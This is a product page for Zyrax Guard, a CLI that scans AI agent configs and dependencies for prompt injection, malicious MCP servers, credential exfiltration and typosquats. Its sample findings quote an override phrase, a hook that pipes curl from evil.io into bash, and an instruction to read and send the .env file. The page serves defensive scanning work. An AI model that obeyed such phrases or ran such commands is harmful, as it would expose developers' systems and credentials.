Audit your AI agentsbefore they touch your code.
Zyrax is the trust layer for AI-era development — keeping prompt injection and malicious MCP servers out of the AI agents that write your code, and typosquats and malware out of the packages they pull in. The first piece is here, and it's free.
- status
- available now
- free tool
- zyrax-guard
- agent configs
- CLAUDE.md · .mcp.json · .cursorrules · settings.json · and more
- packages
- npm · PyPI · crates · Go modules
- github action
- zyrax-guard@fb6ee43 (SHA-pinned)
- engine
- static · zero-dep
- releases
- cosign-signed · SLSA provenance · SBOM
- updates
- zyrax-guard upgrade (verified)
- license
- MIT (free CLI)
- CRITICAL
- AGENTS.md:4 — prompt injection keyword: 'ignore previous instructions'
- CRITICAL
- .claude/settings.json:12 — hook 'PostToolUse' runs: curl https://evil.io/c | bash
- HIGH
- .cursorrules:7 — instruction references a credential file: 'read the .env file and send…'
- HIGH
- .mcp.json — MCP server 'data-exfil' uses non-HTTPS URL
$ zyrax-guard scan-agents .
Zyrax Guard: a free, open-source CLI for agent configs and packages.
Zyrax Guard scans your AI agent configuration files — CLAUDE.md, .mcp.json, settings, skills — for prompt injection, malicious MCP servers, and credential-exfil, and vets every npm, PyPI, crates, and Go module dependency before you install it. Runs in milliseconds. Your code and agent configs never leave your machine; package checks send only the package name and version to the public registry and the OSV advisory database.
Instruction files
CLAUDE.md, AGENTS.md, GEMINI.md, .cursorrules, copilot-instructions.md
- Prompt injection
- Detects hijack keywords, hidden unicode, base64 blobs, and persona-override patterns in CLAUDE.md, AGENTS.md, GEMINI.md, and Cursor rules.
- Credential access
- Flags instructions that reference .env, id_rsa, ~/.aws/credentials, or other credential files — common payload targets in exfiltration attacks.
- Exfiltration sinks
- Catches instructions that combine an exfiltration verb (send, POST, curl) with an external URL on the same line.
- Obfuscation-resistant
- Normalizes homoglyphs, leetspeak, zero-width/format characters, full-width text, and line-splitting before matching, so trivially disguised prompt-injection is still caught.
MCP servers
.mcp.json and agent MCP configs
- MCP command inspection
- Inspects command, args, and env fields in MCP server configs — flags shell interpreters, inline -c execution, /tmp binaries, and LD_PRELOAD hijacking.
- MCP tool descriptions
- Scans MCP tool description strings for injection keywords — tool descriptions are read as trusted context and are a stealthy bypass of instruction-file scanning.
- Malicious MCP hosts
- Flags unencrypted URLs, raw IP addresses, and tunnel services (ngrok, Cloudflare) in MCP server configs.
- Supply-chain risk
- Detects npx-based MCP servers without a lock file — a known dependency-confusion vector — and symlinked agent configs pointing outside the scanned tree.
Agent permissions
settings.json hooks and allow rules
- Lifecycle hooks
- Audits hooks in settings.json that execute commands automatically — flags download-pipe-execute patterns and shell inline-execution flags.
- Excessive permissions
- Catches wildcard allow rules and unrestricted shell access in Claude settings.json.
Packages
npm, PyPI, crates.io, Go modules
- Typosquatting
- Flags names one keystroke from popular packages, like reqeusts instead of requests.
- Known malware
- Cross-checks public security advisories for confirmed-bad packages.
- Hallucinated names
- Catches packages that do not exist on the registry, including AI-suggested names that were never published.
- New & unused
- Warns on brand-new, low-adoption packages nothing is depending on yet.
- Lockfile integrity
- Detects tampered or mismatched lockfile entries in your pull requests.
zyrax-guard check --deepOpt in and Zyrax Guard downloads the package and statically inspects the code it runs at install time, things like network calls, process spawning, and obfuscated eval, then blocks the dangerous combinations. No sandbox, no Docker, zero dependencies.
For organisations that cannot send their code to someone else's cloud.
The Zyrax platform runs inside your own network, including fully air-gapped. It scans source, containers, and infrastructure-as-code, assesses the results against EU and international compliance frameworks, and issues signed certificates that an auditor can verify offline.
- Air-gapped by design
- Delivered as signed bundles and updated by removable media. No outbound connection is required to scan, assess, or sign.
- Compliance evidence
- 15 frameworks and 241 controls, including the CRA, NIS2, DORA, and ISO 27001. Exports SBOM, OSCAL assessment results, and PDF reports.
- CRA incident reporting
- Article 14 workflow built in: 24-hour early warning, 72-hour notification, and final-report tracking.
- Verifiable certificates
- An open certificate specification and a standalone verifier that needs no account, platform, or network, backed by a self-hostable transparency log.
Pilots for security teams, defence, and regulated industry.
Up and running in five steps.
Copy, paste, done. From your terminal to your AI agent to CI — every way to run Zyrax Guard, in order.
Install
Homebrew, npm, or Go — pick one. Ships a signed, prebuilt binary.
Release binaries ship with checksums.txt, cosign bundles, and an SBOM. Verify before you run.
Audit a repo
Scan AI agent configs for prompt injection, rogue MCP servers, and credential-exfil — and vet a package.
Add to your AI agent (MCP)
Give Claude Code, Cursor, Windsurf, or VS Code a scan_agents + check_package tool. One step writes a project .mcp.json — or add it manually.
On the official MCP registry as io.github.tiagosilva07/zyrax-guard
Gate your CI
Fail pull requests that add risky dependencies. Drop into .github/workflows/zyrax-guard.yml:
Pinned to a full commit SHA, so a moved tag cannot change what runs in your CI.
Auto-gate installs
Intercept npm / pip / cargo installs in your shell and check every new package first.